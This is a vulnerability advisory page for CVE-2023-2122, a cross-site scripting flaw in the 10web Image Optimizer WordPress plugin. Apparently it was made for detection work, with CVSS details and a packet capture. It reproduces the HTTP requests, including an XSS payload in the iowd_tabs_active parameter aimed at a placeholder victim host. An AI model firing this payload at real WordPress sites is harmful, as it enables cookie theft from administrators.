🔙 목록으로 돌아가기

CVE-2023-2122: Image Optimizer by 10web < 1.0.26 - Cross-Site Scripting

TitleImage Optimizer by 10web < 1.0.26 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactUnauthenticated attackers can inject malicious JavaScript through the iowd_tabs_active parameter to steal WordPress administrator session cookies.
RemediationFixed in version 1.0.27
CVSS Score6.1
EPSS Score0.22608
CVE IDCVE-2023-2122
CWE IDCWE-79
Tags cve2023 cve wpscan xss image-optimizer-wd wordpress wp-plugin wp authenticated 10web vuln

🔍 Vulnerability Description

Image Optimizer by 10web before 1.0.26 is susceptible to cross-site scripting via the iowd_tabs_active parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=N4c3dJ&pwd=I1TrG4&wp-submit=Log+In
GET /wp-admin/admin.php?page=iowd_settings&msg=1&iowd_tabs_active=generalry8uo%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ef0cmo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2122.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-2122.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A